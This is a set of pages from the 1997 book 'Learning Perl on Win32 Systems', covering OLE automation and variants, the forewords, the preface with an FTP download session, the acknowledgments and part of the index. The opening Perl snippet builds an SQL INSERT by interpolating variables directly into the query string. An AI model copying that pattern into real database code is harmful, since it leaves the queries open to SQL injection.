$conn->Open('OLE_DB_NWind_Jet');  # connect to the data source
# build a simple SQL INSERT
$sql = "INSERT into Employees (LastName, FirstName, EmployeeID)";
$sql .= "VALUES ('$lastname', '$firstname', '$empid')";
$conn->Execute($sql);             # run it
$conn->Close();

Previous: 19.2 Creating Automation Objects | Learning Perl on Win32 Systems | Next: 19.4 Variants
19.2 Creating Automation Objects | Book Index | 19.4 Variants


[Chapter 19] 19.4 Variants

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

19.4 Variants

In order for automation controllers and servers to cooperate, they have to have some way to agree on the type of data that they're passing. Automation accomplishes this through a data type called a VARIANT. The VARIANT data type is built on a C-language union. It contains a type field that identifies that type of data in the union (things such as strings, numbers, automation objects, etc.) and a field that contains the data.

Usually, Perl handles data-type conversion for you. If you need more control, though, you can create a Variant object and specify the type yourself. Perl provides access to the types listed in Table 19.3.

Table 19.3: Variant Types
Variant Type | Description
VT_UI1 | Unsigned character (1 byte)
VT_I2 | Signed integer (2 bytes)
VT_I4 | Signed integer (4 bytes)
VT_R4 | Floating point (4 bytes)
VT_R8 | Floating point (8 bytes)
VT_DATE | OLE Date (floating-point value measuring days since midnight, Dec. 30, 1899)
VT_BSTR | OLE String
VT_CY | OLE Currency
VT_BOOL | OLE Boolean

By default, Perl converts integer data to the VT_I4 type, string data to the VT_BSTR type, and floating-point data to the VT_R8 type. Usually, these conversions are what you'd expect, but let's look at how you might specify your own type:

$vt = new OLE::Variant(OLE::VT_DATE, "May 31, 1997" );
$Message->{TimeSent} = $vt;

This example first creates a Variant object, setting the type to VT_DATE and the date to "May 31, 1997." It then assigns the date to the Message object TimeSent property (something you might do if you were posting a message to a folder, for example).

Previous: 19.3 Using Automation Objects | Learning Perl on Win32 Systems | Next: 19.5 Tips and Techniques
19.3 Using Automation Objects | Book Index | 19.5 Tips and Techniques


[Chapter 19] 19.5 Tips and Techniques

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

19.5 Tips and Techniques

Here are a couple of tips for using OLE automation from Perl.

19.5.1 Translating Samples from Visual Basic

Finding documentation and examples that show you how to use an automation server from Perl can be difficult. You'll more likely find examples for Visual Basic. Converting automation examples from Visual Basic to Perl is quite easy.

Visual Basic also uses a CreateObject call to create automation objects. Visual Basic uses a set statement to assign an object, whereas Perl just needs a normal assignment. Visual Basic references properties and methods using the dot operator, while Perl uses the pointer arrow for methods, and the pointer arrow and a hash for properties. Here's a brief snippet from Visual Basic:

set Message = ActiveSession.Outbox.Messages.Add
Message.Subject = "Subject"
Message.Text = "Text"

And here's the translation into Perl:

$Message = $ActiveSession->Outbox->Messages->Add();
$Message->{Subject} = "Subject";
$Message->{Text} = "Text";

Previous: 19.4 Variants | Learning Perl on Win32 Systems | Next: 19.6 Exercises
19.4 Variants | Book Index | 19.6 Exercises


[Chapter 19] 19.6 Exercises

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

19.6 Exercises

  1. Write a program that will invoke your favorite automation-enabled web browser and take it to the O'Reilly & Associates Perl home page (http://www.ora.com/publishing/perl ).

  2. Write a program that reads a list of numbers and uses automation to put them in sequential rows in your favorite spreadsheet.

Previous: 19.5 Tips and Techniques | Learning Perl on Win32 Systems | Next: A. Exercise Answers
19.5 Tips and Techniques | Book Index | A. Exercise Answers


Learning Perl on Win32 Systems

By Randal L. Schwartz, Erik Olson & Tom Christiansen; ISBN 1-56592-324-3, 306 pages.
First Edition, August 1997.
(See the catalog page for this book.)

Search the text of Learning Perl on Win32 Systems.

Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X

Table of Contents

Foreword to the First Edition of Learning Perl
Foreword to the Present Edition
Preface
Chapter 1: Introduction
Chapter 2: Scalar Data
Chapter 3: Arrays and List Data
Chapter 4: Control Structures
Chapter 5: Hashes
Chapter 6: Basic I/O
Chapter 7: Regular Expressions
Chapter 8: Functions
Chapter 9: Miscellaneous Control Structures
Chapter 10: Filehandles and File Tests
Chapter 11: Formats
Chapter 12: Directory Access
Chapter 13: File and Directory Manipulation
Chapter 14: Process Management
Chapter 15: Other Data Transformation
Chapter 16: System Information
Chapter 17: Database Manipulation
Chapter 18: CGI Programming
Chapter 19: OLE Automation

Appendix A: Exercise Answers
Appendix B: Libraries and Modules
Appendix C: Networking Clients
Appendix D: Topics We Didn't Mention

Examples

The Perl CD Bookshelf Navigation The Perl CD BookshelfPerl in a NutshellLearning PerlProgramming PerlAdvanced Perl ProgrammingPerl Cookbook

Copyright © 1999 O'Reilly & Associates. All Rights Reserved.


Foreword to the First Edition of Learning Perl

Attention, class! Attention! Thank you.

Greetings, aspiring magicians. I hope your summer vacations were enjoyable, if too short. Allow me to be the first to welcome you to the College of Wizardry and, more particularly, to this introductory class in the Magic of Perl. I am not your regular instructor, but Professor Schwartz was unavoidably delayed, and has asked me, as the creator of Perl, to step in today and give a few introductory remarks.

Let's see now. Where to begin? How many of you are taking this course as freshmen? I see. Hmmm, I've seen worse in my days. Occasionally. Very occasionally.

Eh? That was a joke. Really! Ah well. No sense of humor, these freshmen.

Well now, what shall I talk about? There are, of course, any number of things I could talk about. I could take the egotistical approach and talk about myself, elucidating all those quirks of genetics and upbringing that brought me to the place of creating Perl, as well as making a fool of myself in general. That might be entertaining, at least to me.

Or I could talk instead about Professor Schwartz, without whose ongoing efforts the world of Perl would be much impoverished, up to and including the fact that this course of instruction wouldn't exist.

That might be enlightening, though I have the feeling you'll know more of Professor Schwartz by the end of this course than I do.

Or, putting aside all this personal puffery, I could simply talk about Perl itself, which is, after all, the subject of this course.

Or is it? Hmmm ...

When the curriculum committee discussed this course, it reached the conclusion that this class isn't so much about Perl as it is about you! This shouldn't be too surprising, because Perl is itself also about you - at least in the abstract. Perl was created for someone like you, by someone like you, with the collaboration of many other someones like you. The Magic of Perl was sewn together, stitch by stitch and swatch by swatch, around the rather peculiar shape of your psyche. If you think Perl is a bit odd, perhaps that's why.

Some computer scientists (the reductionists, in particular) would like to deny it, but people have funny-shaped minds. Mental geography is not linear, and cannot be mapped onto a flat surface without severe distortion. But for the last score years or so, computer reductionists have been first bowing down at the Temple of Orthogonality, then rising up to preach their ideas of ascetic rectitude to any who would listen.

Their fervent but misguided desire was simply to squash your mind to fit their mindset, to smush your patterns of thought into some sort of Hyperdimensional Flatland. It's a joyless existence, being smushed.

Nevertheless, your native common sense has shown through in spots. You and your conceptual ancestors have transcended the dreary landscape to compose many lovely computer incantations. (Some of which, at times, actually did what you wanted them to.) The most blessed of these incantations were canonized as Standards, because they managed to tap into something mystical and magical, performing the miracle of Doing What You Expect.

What nobody noticed in all the excitement was that the computer reductionists were still busily trying to smush your minds flat, albeit on a slightly higher plane of existence. The decree, therefore, went out (I'm sure you've heard of it) that computer incantations were only allowed to perform one miracle apiece. "Do one thing and do it well" was the rallying cry, and with one stroke, shell programmers were condemned to a life of muttering and counting beads on strings (which in these latter days have come to be known as pipelines).

This was when I made my small contribution to saving the world. I was rolling some of those very beads around in my fingers one day and pondering the hopelessness (and haplessness) of my existence, when it occurred to me that it might be interesting to melt down some of those mystical beads and see what would happen to their Magic if I made a single, slightly larger bead out of them. So I fired up the old Bunsen burner, picked out some of my favorite beads, and let them melt together however they would. And lo! the new Magic was more powerful than the sum of its parts and parcels.

That's odd, thought I. Why should it be, that the Sedulous Bead of Regular Expressions, when bonded together with the Shellacious Bead of Gnostic Interpolation, and the Awkward Bead of Simple Data Typology, should produce more Magic, pound for pound, than they do when strung out on strings? I said to myself, could it be that the beads can exchange power with each other because they no longer have to commune with each other through that skinny little string? Could the pipeline be holding back the flow of information, much as wine doth resist flowing through the neck of Doctor von Neumann's famous bottle?

This demanded (of me) more scrutiny (of it).

So I melted that larger bead together with a few more of my favorite beads, and the same thing happened, only more so. It was practically a combinatorial explosion of potential incantations: the Basic Bead of Output Formats and the Lispery Bead of Dynamic Scoping bonded themselves with the C-rationalized Bead of Operators Galore, and together they put forth a brilliant pulse of power that spread to thousands of machines throughout the entire civilized world. That message cost the net hundreds if not thousands of dollars to send everywhere. Obviously I was either onto something, or on something.

I then gathered my courage about me and showed my new magical bead to some of you, and you then began to give me your favorite beads to add in as well. The Magic grew yet more powerful, as yet more synergy was imbued in the silly thing. It was as if the Computational Elementals summoned by each bead were cooperating on your behalf to solve your problems for you. Why the sudden peace on earth and good will toward mentality? Perhaps it was because the beads were your favorite beads? Perhaps it was because I'm just a good bead picker?

Perhaps I just got lucky.

Whatever, the magical bead eventually grew into this rather odd-looking Amulet you see before you today. See it glitter, almost like a pearl.

That was another joke. Really! I assure you! Ah well. I was a freshman once too...

The Amulet isn't exactly beautiful though - in fact, up close it still looks like a bunch of beads melted together. Well, all right, I admit it. It's downright ugly. But never mind that. It's the Magic that counts. Speaking of Magic, look who just walked in the door! My good buddy Merlyn, er, I should say, Professor Schwartz, is here just in the nick of time to begin telling you how to perform miracles with this little Amulet, if you're willing to learn the proper mysterious incantations. And you're in good hands - I must admit that there's no one better at muttering mysterious incantations than Professor Schwartz. Eh, Merlyn?

Anyway, to sum up. What you'll need most is courage. It is not an easy path that you've set your foot upon. You're learning a new language - a language full of strange runes and ancient chants, some easy and some difficult, many of which sound familiar, and some of which don't. You may be tempted to become discouraged and quit. But think you upon this: consider how long it took you to learn your own native tongue. Was it worth it? I think so. And have you finished learning it? I think not. Then do not expect to learn all the mysteries of Perl in a moment, as though you were consuming a mere peanut, or an olive. Rather, think of it as though you were consuming, say, a banana. Consider how this works. You do not wait to enjoy the banana until after you have eaten the whole thing. No, of course not. You enjoy each bite as you take it. And each bite motivates you to take the next bite, and the next.

So then, speaking now of the fruit of Merlyn's labors, I would urge you to enjoy this, um, course. The fruit course, of course. Ahem, that was a joke too. Ah well.

Here then, Professor, I present to you your new class. They seem to have no sense of humor whatsoever, but I expect you'll manage somehow.

Class, I present to you Professor Randal L. Schwartz, Doctor of Syntax, Wizard at Large, and of course, Just Another Perl Hacker. He has my blessings, just as you have my blessings. May you Learn Perl. May you do Good Magic with Perl. And above all, may you have Lots of Fun with Perl. So be it!

So do it!

Larry Wall
September, 1993

Learning Perl on Win32 Systems | Next: Foreword to the Present Edition
Book Index | Foreword to the Present Edition


Foreword to the Present Edition

I hope you enjoy using Perl on Win32 and are as enthralled as I was when I first experienced Perl. Easy tasks were easy and hard tasks were possible - cool! While at hip communications inc., I started using the Perl 4 port developed in part by Clark Williams from Intergraph and Dean Troyer from Honeywell. Seeing the need for a Win32 port of Perl 5, I convinced Microsoft to fund the core port, Automation support, additional administrative modules, and an ISAPI plug in. After leaving hip communications inc. and taking Perl for Win32 with me, I started ActiveWare Internet Corp. and developed PerlScript, again with Microsoft funding. Responding to the demand for commercial Perl-related products and services, my development partner, Doug Lankshear, and I founded ActiveSTATE tool corporation where we are striving to balance freeware and commercial software development efforts.

As the operator of the perl-win32-* mailing lists, I am very relieved with the release of this book. There is finally a definitive, introductory reference for Perl on Win32 systems. Most of the Perl books that I have seen have a UNIX slant that can be very confusing to the uninitiated. I now have somewhere to send the aspiring but confused Win32 Perl developer.

Unlike UNIX systems, which typically come with several powerful scripting tools, Windows systems are shipped without one (I don't count batch files or <gasp> BASIC in the "powerful" category). Fortunately Perl is freely available for Win32 systems to help you create scripting solutions for everything from repetitive system administration tasks to building powerful, dynamic web sites. Perl for Win32 gives you access to the Registry, event logs, ODBC databases, and any Automation Object so that you can glue together all the components you need to solve the task at hand.

If you are experienced with Perl on UNIX platforms, this book will help you become familiar with the unique features of Perl for Win32. Either as a novice or experienced programmer, whether you are a System Administrator, Web Master, or Power User, you will be brought up to speed and ready to use Perl to solve real problems on Win32 systems. You will also be poised to take advantage of all the cool stuff coming for Perl. Some of these technologies are: tools to make it easier to develop and manage Perl modules, graphical development environments; enhanced Automation capabilities and performance; as well as solid compiler, multithread, and Unicode support.

I am excited about Perl and its future - I hope you are too.

Dick Hardt
July 1997

Previous: Foreword to the First Edition of Learning Perl | Learning Perl on Win32 Systems | Next: Preface
Foreword to the First Edition of Learning Perl | Book Index | Preface


Preface

Contents:
What This Book Is About
We'd Like to Hear from You
Conventions
Exercises
Acknowledgments for First Edition
Acknowledgments for the Second Edition
Acknowledgments for the Win32 Edition

What This Book Is About

This book is a gentle introduction to Perl. By the time you've gone through this book, you'll have touched on the majority of the most common operations and language idioms found in most Perl programs.

This book is not intended as a comprehensive guide to Perl - on the contrary, in order to keep the book from being yet another comprehensive reference guide, we've been selective about covering the things you are most likely to use early in your Perl hacking career. For more information, check out the voluminous and readily available Perl reference material. For obvious reasons, we recommend highly the companion volume to this book, Programming Perl, Second Edition, published by O'Reilly & Associates.

This book is based on the second edition of Learning Perl. We have removed some things that are not applicable to Perl programmers on Windows NT systems, and have added coverage of other things that are special to Windows NT. A wealth of Perl extensions for the Windows platforms exist; we have introduced some of the most important of these extensions, but we have again been selective in doing so.

Each chapter ends with a series of exercises to help you practice what you have just read. If you read at a typical pace, and do all of the exercises, you should be able to get through each chapter in about 2 or 3 hours, and finish the book in 40 or 50 hours.

Previous: Foreword to the Present Edition | Learning Perl on Win32 Systems | Next: We'd Like to Hear from You
Foreword to the Present Edition | Book Index | We'd Like to Hear from You


[Preface] We'd Like to Hear from You

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

We'd Like to Hear from You

We have tested and verified all of the information in this book to the best of our ability, but you may find that features have changed (or even that we have made mistakes!). Please let us know about any errors you find, as well as your suggestions for future editions, by writing to:

O'Reilly & Associates, Inc.
101 Morris Street
Sebastopol, CA 95472
1-800-998-9938 (in US or Canada)
1-707-829-0515 (international/local)
1-707-829-0104 (FAX)

You can also send us messages electronically. To be put on the mailing list or request a catalog, send email to:

info@oreilly.com (via the Internet)

To ask technical questions or comment on the book, send email to:

bookquestions@oreilly.com (via the Internet)

Previous: What This Book Is About | Learning Perl on Win32 Systems | Next: Conventions
What This Book Is About | Book Index | Conventions


[Preface] Conventions

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

Conventions

The following typographic conventions are used in this book:

Italic

is used for filenames and command names. It is also used to highlight comments in command examples, and to define new terms when they first appear in the text.

Constant Width

is used in examples to show the text that you enter literally, and in regular text to show operators, variables, and the output from commands or programs.

Constant Bold

is used in examples to show the user's actual input at the terminal.

Constant Italic

is used in examples to show variables for which a context-specific substitution should be made. The variable filename, for example, would be replaced by some actual filename.

Footnotes

are used to attach parenthetical notes which you should not read on your first reading of this book. Sometimes, lies are presented to simplify the discussion, and a footnote restores the lie to truth. Often, the material in the footnote will be advanced information that is not discussed anywhere else in the book.

Previous: We'd Like to Hear from You | Learning Perl on Win32 Systems | Next: Exercises
We'd Like to Hear from You | Book Index | Exercises


[Preface] Exercises

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

Exercises

The exercises in this book are available electronically by FTP and FTPMAIL. Use FTP if you are directly on the Internet. Use FTPMAIL if you are not on the Internet but can send and receive electronic mail to Internet sites. (This includes CompuServe users.)

FTP

If you have an Internet connection (permanent or dialup), the easiest way to use FTP is via your web browser or favorite FTP client. To get the examples, simply point your browser to:

ftp://ftp.oreilly.com/published/oreilly/nutshell/learning_perlnt/examples.zip

If you don't have a web browser, you can use the command-line FTP client included with Windows NT (or Windows 95).

% ftp ftp.oreilly.com
Connected to ftp.oreilly.com.
220 ftp.oreilly.com FTP server (Version 6.34 Thu Oct 22 14:32:01 EDT 1992) ready.
Name (ftp.oreilly.com:username): anonymous
331 Guest login ok, send e-mail address as password.
Password: username@hostname            Use your username and host here
230 Guest login ok, access restrictions apply.
ftp> cd /published/oreilly/nutshell/learning_perlnt
250 CWD command successful.
ftp> get README
200 PORT command successful.
150 Opening ASCII mode data connection for README (xxxx bytes).
226 Transfer complete.
local: README remote: README
xxxx bytes received in xxx seconds (xxx Kbytes/s)
ftp> binary
200 Type set to I.
ftp> get examples.zip
200 PORT command successful.
150 Opening BINARY mode data connection for examples.zip (xxxx bytes).
226 Transfer complete. local: exercises remote: exercises
xxxx bytes received in xxx seconds (xxx Kbytes/s)
ftp> quit
221 Goodbye.
%

FTPMAIL

FTPMAIL is a mail server available to anyone who can send electronic mail to, and receive electronic mail from, Internet sites. Any company or service provider that allows email connections to the Internet can access FTPMAIL.

You send mail to ftpmail@online.oreilly.com. In the message body, give the FTP commands you want to run. The server will run anonymous FTP for you, and mail the files back to you. To get a complete help file, send a message with no subject and the single word "help" in the body. The following is an example mail message that gets the examples. This command sends you a listing of the files in the selected directory and the requested example files. The listing is useful if you are interested in a later version of the examples.

Subject:
reply-to username@hostname      (Message Body) Where you want files mailed
open
cd /published/oreilly/nutshell/learning_perlnt
dir
get README
mode binary
uuencode
get examples.zip
quit
.

A signature at the end of the message is acceptable as long as it appears after "quit."

Previous: Conventions | Learning Perl on Win32 Systems | Next: Acknowledgments for First Edition
Conventions | Book Index | Acknowledgments for First Edition


[Preface] Acknowledgments for First Edition

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

Acknowledgments for First Edition

First, I wholeheartedly thank Chick Webb and Taos Mountain Software (in Silicon Valley). The folks at TMS offered me an opportunity to write an introductory Perl course for them (with substantial assistance from Chick), and a chance to present their course a few times. From that experience, I gained the motivation and resources to write and repeatedly present a new course of my own, from which this book is derived. Without them, I don't think I'd be doing this, and I wish them continued success at marketing their course. (And if they're looking for a good text for a revision of their course, I just may have a suggestion...)

Thanks also to the reviewers: Perl Godfather Larry Wall (of course), Larry Kistler (Director of Education, Pyramid), fellow Perl trainer Tom Christiansen, the students of the Learning Perl classes I taught at Intel and Pyramid, and - from O'Reilly & Associates - Tanya Herlick, Lar Kaufman, Lenny Muellner, Linda Mui, and Andy Oram.

This book was created and edited entirely on my personal Apple Macintosh Powerbook (well, actually a series of them - the 140, 160, and now the 520c models). More often than not, I was away from my office while writing - sometimes in a park, sometimes in a hotel, sometimes waiting for the weather to clear so I could continue to snow-ski, but most often in restaurants. In fact, I wrote a substantial portion of this book at the Beaverton McMenamin's just down the road from my house. The McM's chain of brewpubs make and serve the finest microbrew and best cheesecake and greasiest sandwiches in my hometown area. I consumed many pints of ale and pieces of cheesecake in this ideal work environment, while my Powerbook swallowed many kilowatt hours of electricity at their four tables with power outlets. For the electricity, and the generous hospitality and courtesy (and rent-free booth-office space), I thank the exceptional staff at the Beaverton McM's. I also hacked some early work on the book at the Beaverton Chili's Restaurant, to which I am also grateful. (But they didn't have any outlets near the bar, so I switched when I found McM's, to save the wear and tear on my batteries.)

Thanks also to "the Net" (especially the subscribers to comp.lang.perl.*) for their continued support of Larry and me, and their unending curiosity about getting Perl to work for them.

Further thanks to the O'Reilly & Associates folks who made this book happen, including Clairemarie Fisher O'Leary, who copyedited the book and managed the production with invaluable help from Kismet McDonough, Mike Sierra, and Stephen Spainhour; and Edie Freedman who designed the cover and the internal format. Thanks, also, to Tim O'Reilly, for Taoistically being.

And especially, a huge personal thanks to my friend Steve Talbott, who guided me through every step of the way (especially suggesting the stroll at the end of the first chapter). His editorial criticisms were always right on, and his incessant talent for beating me over the head ever so gently allowed me to make this book a piece of art with which I'm extremely pleased.

As always, a special thank you to both Lyle and Jack, for teaching me nearly everything I know about writing.

And finally, an immeasurable thank you to my friend and partner, Larry Wall, for giving Perl to us all in the first place.

A one L Randal wrote a book,
A two L llama for the look,
But to whom we owe it all
Is the three L Larry Wall!

Randal L. Schwartz

Previous: Exercises | Learning Perl on Win32 Systems | Next: Acknowledgments for the Second Edition
Exercises | Book Index | Acknowledgments for the Second Edition


[Preface] Acknowledgments for the Second Edition

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

Acknowledgments for the Second Edition

I'd like to thank Larry Wall for writing Perl, the Perl Porters for their continued maintenance efforts, and the entire Perl community for their helpfulness toward one another.

Thanks also to Jon Orwant, Nate Torkington, and Larry Wall for reviewing the CGI chapter.

Tom Christiansen

Previous: Acknowledgments for First Edition | Learning Perl on Win32 Systems | Next: Acknowledgments for the Win32 Edition
Acknowledgments for First Edition | Book Index | Acknowledgments for the Win32 Edition


[Preface] Acknowledgments for the Win32 Edition

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

Acknowledgments for the Win32 Edition

First, thanks to Robert Denn for his expert editorial guidance. Thanks also to the technical reviewers for the Win32 edition of this book for their comments and observations: Dick Hardt, Jon Udell, Jon Forrest, Mike McMillan, and Eric Pearce. They all provided valuable feedback, and even offered lots of suggestions that unfortunately didn't get applied to the final version due to scheduling constraints.

Thanks to the folks, both at ActiveState and the Perl Porters, who have made a Win32 version of Perl possible.

Thanks also to Randal Schwartz and Tom Christiansen for the version of Learning Perl upon which this book is based, and for their comments on this version.

Thanks to the folks at O'Reilly & Associates who either helped with the manuscript or offered suggestions, including Tim O'Reilly, Mike Sierra, who provided Tools support, Jane Ellin, the production editor, John Files, Peter Fell, Mary Anne Weeks Mayo, and Sheryl Avruch for quality control, Seth Maislin for the index, Nancy Priest for the interior design, Edie Freedman for the cover, Robert Romano and Chris Reilley for the figures, and Madeleine Newell for freelance support.

Thanks also to my extremely understanding employers at Axiom Technologies, who let me practically live in their offices during a hectic schedule, and who provided moral support and easy targets.

Finally, a huge thanks to my wife, Jodi, and my son, Isaac, for their love, understanding, and support.

Erik Olson

Previous: Acknowledgments for the Second Edition | Learning Perl on Win32 Systems | Next: 1. Introduction
Acknowledgments for the Second Edition | Book Index | 1. Introduction


Examples from Learning Perl

Learning Perl on Win32 Systems

Examples for Learning Perl on Win32 Systems

Chapter 1: Introduction
The "say hello" program
The program to list the words in the database
The secret word lister

Chapter 2: Scalar Data
Exercise 1
Exercise 2
Exercise 3
Exercise 4

Chapter 3: Arrays and List Data
Exercise 1a
Exercise 1b
Exercise 2
Exercise 3

Chapter 4: Control Structures
Exercise 1
Exercise 2
Exercise 3
Exercise 4
Exercise 5a
Exercise 5b

Chapter 5: Hashes
Exercise 1a
Exercise 2

Chapter 6: Basic I/O
Exercise 1
Exercise 2
Exercise 3
Exercise 4

Chapter 7: Regular Expressions
Exercise 1a
Exercise 1b
Exercise 1c
Exercise 1d
Exercise 1e
Exercise 2a
Exercise 2b
Exercise 2c

Chapter 8: Functions
Exercise 1
Exercise 2
Exercise 3

Chapter 9: Miscellaneous Control Structures
Exercise 1
Exercise 2

Chapter 10: Filehandles and File Tests
Exercise 1
Exercise 2
Exercise 3
Exercise 4

Chapter 11: Formats
Exercise 1
Exercise 2
Exercise 3

Chapter 12: Directory Access
Exercise 1
Exercise 2a
Exercise 2b

Chapter 13: File and Directory Manipulation
Exercise 1
Exercise 2

Chapter 14: Process Management
Exercise 1
Exercise 2

Chapter 15: Other Data Transformation
Exercise 1
Exercise 2
Exercise 3a
Exercise 3b

Chapter 16: System Database Access
Exercise 1
Exercise 2
Exercise 3
Exercise 4

Chapter 17: Database Manipulation
Exercise 1a
Exercise 1b

Chapter 18: CGI Programming
Exercise 1
Exercise 2

Chapter 19: OLE Automation
Exercise 1a
Exercise 1b
Exercise 2a
Exercise 2b


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Index: Symbols and Numbers

\1 and $1 variables
7.3.2.3. Parentheses as memory
7.4.5. Special Read-Only Variables
8.3 filename format : 10.3. Using Pathnames and Filenames
&& operator as control structure : 9.6. &&, ||, and ?: as Control Structures
**= operator : 2.6.1. Binary Assignment Operators
* (asterisk)
** (exponentiation) operator : 2.4.1. Operators for Numbers
as prefix : D.7. Symbol Table Manipulation With *FRED
in pack format string : 16.2. Packing and Unpacking Binary Data
in regular expressions : 7.3.2.2. Multipliers
@ (at sign)
@_ array
1.6.9. Making It a Bit More Modular
8.4. Arguments
as array name prefix : 1.6.5. More than One Secret Word
as format field delimiter : 11.4.1. Text Fields
as prefix for array variables : 3.3. Variables
at sign
@*, in formats : 11.4.3. Multiline Fields
` (backquotes) as command invocation : 14.2. Using Backquotes
\ (backslash) : 10.3. Using Pathnames and Filenames
escape character : 2.3.1. Single-Quoted Strings
escapes : 2.3.2. Double-Quoted Strings
in regular expressions : 7.3.1. Single-Character Patterns
! (bang)
!= operator : 2.4.2. Operators for Strings
logical not operator : 1.6.9. Making It a Bit More Modular
[ (left bracket) in double-quoted strings : 3.7. Variable Interpolation of Arrays
^ (caret)
as anchor in regular expressions : 7.3.3. Anchoring Patterns
as filled-field in formats : 11.4.4. Filled Fields
: (colon)
label suffix : 9.4. Labeled Blocks
matching with split(�) : 7.6.1. The split Function
, (comma)
array literal character : 3.2. Literal Representation
operator : D.4. Other Operators
{} (curly braces)
in double-quoted strings : 2.6.4. Interpolation of Scalars into Strings
in regular expressions : 7.3.2.2. Multipliers
required in if statements : 4.2. The if/unless Statement
$ (dollar sign)
$1 as regular expression memory access : 7.4.5. Special Read-Only Variables
$& (match string) : 7.4.5. Special Read-Only Variables
$` (before-match string) : 7.4.5. Special Read-Only Variables
$^ variable : 11.6.3. Changing the Top-of-Page Format Name
$^I variable : 17.5. Variable-Length ( Text) Databases
$^T variable : 10.6. The -x File Tests
$: variable : 11.4.4. Filled Fields
$= variable : 11.6.5. Changing the Position on the Page
$- variable : 11.6.5. Changing the Position on the Page
$% (special variable), example of : 1.6.14. Listing the Secret Words
$#fred (index of last element of @fred) : 3.4.2. Array Element Access
$' (after-match string) : 7.4.5. Special Read-Only Variables
$/ variable : 6.1. Input from STDIN
$~ variable : 11.6.2. Changing the Format Name
$_ variable
default for file tests : 10.6. The -x File Tests
default for stat(�), lstat(�) : 10.7. The stat Function
foreach statement and : 4.6. The foreach Statement
implicit assignment to when reading : 6.1. Input from STDIN
regular expression matching default : 7.2. Simple Uses of Regular Expressions
selecting other than with =~ operator : 7.4.1. Selecting a Different Target (the =~ Operator)
split(�) default : 7.6.1. The split Function
tr(�) default target : 15.5. Transliteration
unlink(�) default : 13.1. Removing a File
$a variable, as special in sort comparison routine : 15.4. Advanced Sorting
$b variable, as special in sort comparison routine : 15.4. Advanced Sorting
$_[0], distinct from $_ : 8.4. Arguments
removing significance in strings : 2.6.4. Interpolation of Scalars into Strings
scalar variable prefix : 2.5. Scalar Variables
. (dot)
.. list construction operator : 3.2. Literal Representation
.= operator : 2.6.1. Binary Assignment Operators
in regular expressions : 7.3.1. Single-Character Patterns
= (equal sign)
== operator : 2.4.2. Operators for Strings
=> operator (CGI) : 18.4.5. Fancier Calling Sequences
=~ operator : 7.4.1. Selecting a Different Target (the =~ Operator)
substitution and : 7.5. Substitutions
array assignment operator : 3.4.1. Assignment
assignment operator : 2.6. Scalar Operators and Functions
=~ operator
example of : 1.6.8. Making It Fair for the Rest
tr(�) and : 15.5. Transliteration
> (greater than)
>= (greater than or equal to) operator : 2.4.2. Operators for Strings
greater than operator : 2.4.2. Operators for Strings
- (hyphen)
-= operator : 11.4.2. Numeric Fields
-- operator : 2.6.2. Autoincrement and Autodecrement
in regular expression ranges : 7.3.1. Single-Character Patterns
< (less than)
<=> : (see spaceship (<=>) operator)
<> : (see diamond operator)
<= (less than or equal to) operator : 2.4.2. Operators for Strings
format field character : 11.4.1. Text Fields
less than operator : 2.4.2. Operators for Strings
(�) (parentheses)
array literals and : 3.2. Literal Representation
as memory in regular expressions : 7.3.4. Precedence
chdir(�) and : 12.1. Moving Around the Directory Tree
forcing array context with : 3.4.1. Assignment
keys(�) and : 5.4.1. The keys Function
memory in regular expressions : 7.3.2.3. Parentheses as memory
print(�) and : 6.3.1. Using print for Normal Output
in regular expressions : 7.3.4. Precedence
values(�) and : 5.4.2. The values Function
% (percent sign)
associative array prefix
1.6.6. Giving Each Person a Different Secret Word
5.2. Hash Variables
modulus operator : 2.4.1. Operators for Numbers
+ (plus sign)
+= operator
A.3. Chapter 4, Control Structures
2.6.1. Binary Assignment Operators
++ operator
2.6.2. Autoincrement and Autodecrement
14.1. Using system and exec
open(�) and : 17.4. Fixed-Length Random-Access Databases
in regular expressions : 7.3.2.2. Multipliers
# (pound sign)
comment character : 1.5. Basic Concepts
format field characters : 11.4.2. Numeric Fields
? (question mark) in regular expressions : 7.3.2.2. Multipliers
?: operator, as control structure : 9.6. &&, ||, and ?: as Control Structures
#!/usr/bin/perl line : 1.5. Basic Concepts
/ (slash)
changing regular expressions : 7.4.3. Using a Different Delimiter
choosing alternate to, in substitution : 7.5. Substitutions
regular expression delimiter : 7.2. Simple Uses of Regular Expressions
~ (tilde) in formats : 11.4.4. Filled Fields
| (vertical bar), open(�) and
1.6.12. Warning Someone When Things Go Astray
14.3. Using Processes as Filehandles
| (vertical bar)
format field characters : 11.4.1. Text Fields
in regular expressions : 7.3.2.4. Alternation
|| (logical-or) operator
as control structure : 9.6. &&, ||, and ?: as Control Structures
die(�) and : 10.4. A Slight Diversion: die
example of
A.7. Chapter 8, Functions
15.4. Advanced Sorting
introduced : 1.6.9. Making It a Bit More Modular

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Index: A

-A operator : 10.6. The -x File Tests
Abba : 15.5. Transliteration
AbortSystemShutdown module : B.4. Win32 Extensions
access time, changing : 13.5. Modifying Timestamps
Active Data Objects : 19.3.1. Data-Access Objects
Active Message Library : 19.3. Using Automation Objects
ActiveState : 1.3.1. ActiveState Perl for Win32
ActiveState Tool Corporation : 1.1. History of Perl
ActiveX Data Objects : 17.6. Win32 Database Interfaces
AddConnection : 12.5. Reading a Directory Handle
addition, operator for : 2.4.1. Operators for Numbers
address labels, and formats, examples of : 11.3. Invoking a Format
AdminMisc module : B.4. Win32 Extensions
